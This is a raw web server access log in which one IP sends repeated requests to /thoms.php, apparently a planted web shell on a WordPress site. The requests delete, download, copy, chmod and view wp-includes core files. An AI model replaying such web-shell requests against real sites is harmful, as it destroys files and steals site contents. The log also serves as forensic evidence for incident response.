45.135.193.11 - - [11/Sep/2026:23:42:39 -0400] "GET /thoms.php?del=class-wp-feed-cache-transient.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=class-wp-feed-cache-transient.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:39 -0400] "GET /thoms.php?dl=class-wp-token-map.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=class-wp-token-map.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:40 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=connectors.php HTTP/1.1" 200 21421 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=connectors.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:40 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-role.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-role.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:40 -0400] "GET /thoms.php?del=SimplePie&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59037 "http://163.245.207.76:443/thoms.php?del=SimplePie&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:40 -0400] "GET /thoms.php?del=class-wp-navigation-fallback.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=class-wp-navigation-fallback.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:40 -0400] "GET /thoms.php?chmod=class-wp-tax-query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-wp-tax-query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:41 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-tax-query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11840 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-tax-query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:41 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-token-map.php HTTP/1.1" 200 21781 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-token-map.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:41 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-network-query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-network-query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:41 -0400] "GET /thoms.php?chmod=class-wp-simplepie-sanitize-kses.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-wp-simplepie-sanitize-kses.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:41 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-theme-json-schema.php HTTP/1.1" 200 14556 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-theme-json-schema.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:41 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ftheme-i18n.json&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ftheme-i18n.json&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:41 -0400] "GET /thoms.php?chmod=class-wp-comment.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-wp-comment.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:41 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-feed-cache.php HTTP/1.1" 200 12424 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-feed-cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:41 -0400] "GET /thoms.php?dl=rest-api.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59208 "http://163.245.207.76:443/thoms.php?dl=rest-api.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:41 -0400] "GET /thoms.php?del=template-loader.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=template-loader.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:41 -0400] "GET /thoms.php?chmod=class-wp-script-modules.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-script-modules.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:42 -0400] "GET /thoms.php?del=default-filters.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=default-filters.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:42 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=nav-menu.php HTTP/1.1" 200 24451 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=nav-menu.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:42 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Finteractivity-api HTTP/1.1" 200 13377 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Finteractivity-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:42 -0400] "GET /thoms.php?dl=load.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=load.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:42 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-walker-nav-menu.php HTTP/1.1" 200 15111 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-walker-nav-menu.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:42 -0400] "GET /thoms.php?chmod=class-wp-block-pattern-categories-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11554 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-pattern-categories-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:43 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fmedia-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fmedia-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:43 -0400] "GET /thoms.php?chmod=css&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=css&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:43 -0400] "GET /thoms.php?del=embed-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=embed-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:43 -0400] "GET /thoms.php?chmod=locale.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=locale.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:43 -0400] "GET /thoms.php?del=class-wp-ajax-response.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59216 "http://163.245.207.76:443/thoms.php?del=class-wp-ajax-response.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:43 -0400] "GET /thoms.php?del=class-wp-text-diff-renderer-inline.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?del=class-wp-text-diff-renderer-inline.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:43 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=meta.php HTTP/1.1" 200 26727 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=meta.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:43 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=post-formats.php HTTP/1.1" 200 14136 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=post-formats.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:43 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=sitemaps.php HTTP/1.1" 200 13046 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=sitemaps.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:44 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=block-template-utils.php HTTP/1.1" 200 29321 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=block-template-utils.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:44 -0400] "GET /thoms.php?chmod=class-wp-metadata-lazyloader.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=class-wp-metadata-lazyloader.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:44 -0400] "GET /thoms.php?chmod=class-wp-icon-collections-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-icon-collections-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:44 -0400] "GET /thoms.php?chmod=default-filters.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=default-filters.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:44 -0400] "GET /thoms.php?del=class-wp-block-styles-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59194 "http://163.245.207.76:443/thoms.php?del=class-wp-block-styles-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:44 -0400] "GET /thoms.php?chmod=class-phpass.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=class-phpass.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:44 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-admin-bar.php HTTP/1.1" 200 17932 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-admin-bar.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:44 -0400] "GET /thoms.php?dl=theme-i18n.json&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=theme-i18n.json&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:44 -0400] "GET /thoms.php?chmod=class-wp-xmlrpc-server.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=class-wp-xmlrpc-server.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:44 -0400] "GET /thoms.php?chmod=abilities-api&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=abilities-api&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:45 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-smtp.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-smtp.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:44 -0400] "GET /thoms.php?dl=embed.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59227 "http://163.245.207.76:443/thoms.php?dl=embed.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:45 -0400] "GET /thoms.php?chmod=class-wp-block-parser.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-parser.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:45 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-http-cookie.php HTTP/1.1" 200 14683 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-http-cookie.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:45 -0400] "GET /thoms.php?del=class-wp-block-templates-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=class-wp-block-templates-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:45 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ffeed-atom.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11873 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ffeed-atom.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:45 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fabilities-api HTTP/1.1" 200 13337 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fabilities-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:45 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-customize-manager.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-customize-manager.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:45 -0400] "GET /thoms.php?chmod=class-wp-customize-widgets.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-widgets.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:45 -0400] "GET /thoms.php?dl=class-feed.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59223 "http://163.245.207.76:443/thoms.php?dl=class-feed.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:45 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-feed-cache.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-feed-cache.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:46 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-icon-collections-registry.php HTTP/1.1" 200 13636 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-icon-collections-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:46 -0400] "GET /thoms.php?dl=class-wp-text-diff-renderer-inline.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=class-wp-text-diff-renderer-inline.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:46 -0400] "GET /thoms.php?dl=class-wp-theme.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59217 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:46 -0400] "GET /thoms.php?del=css&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=css&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:46 -0400] "GET /thoms.php?del=sodium_compat&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 58992 "http://163.245.207.76:443/thoms.php?del=sodium_compat&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:46 -0400] "GET /thoms.php?chmod=class-walker-comment.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=class-walker-comment.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:47 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-block-parser-frame.php HTTP/1.1" 200 12515 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-block-parser-frame.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:47 -0400] "GET /thoms.php?chmod=class-wp-matchesmapregex.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=class-wp-matchesmapregex.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:47 -0400] "GET /thoms.php?chmod=error-protection.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=error-protection.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:47 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=https-migration.php HTTP/1.1" 200 13660 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=https-migration.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:47 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fformatting.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fformatting.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:47 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=locale.php HTTP/1.1" 200 11986 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=locale.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
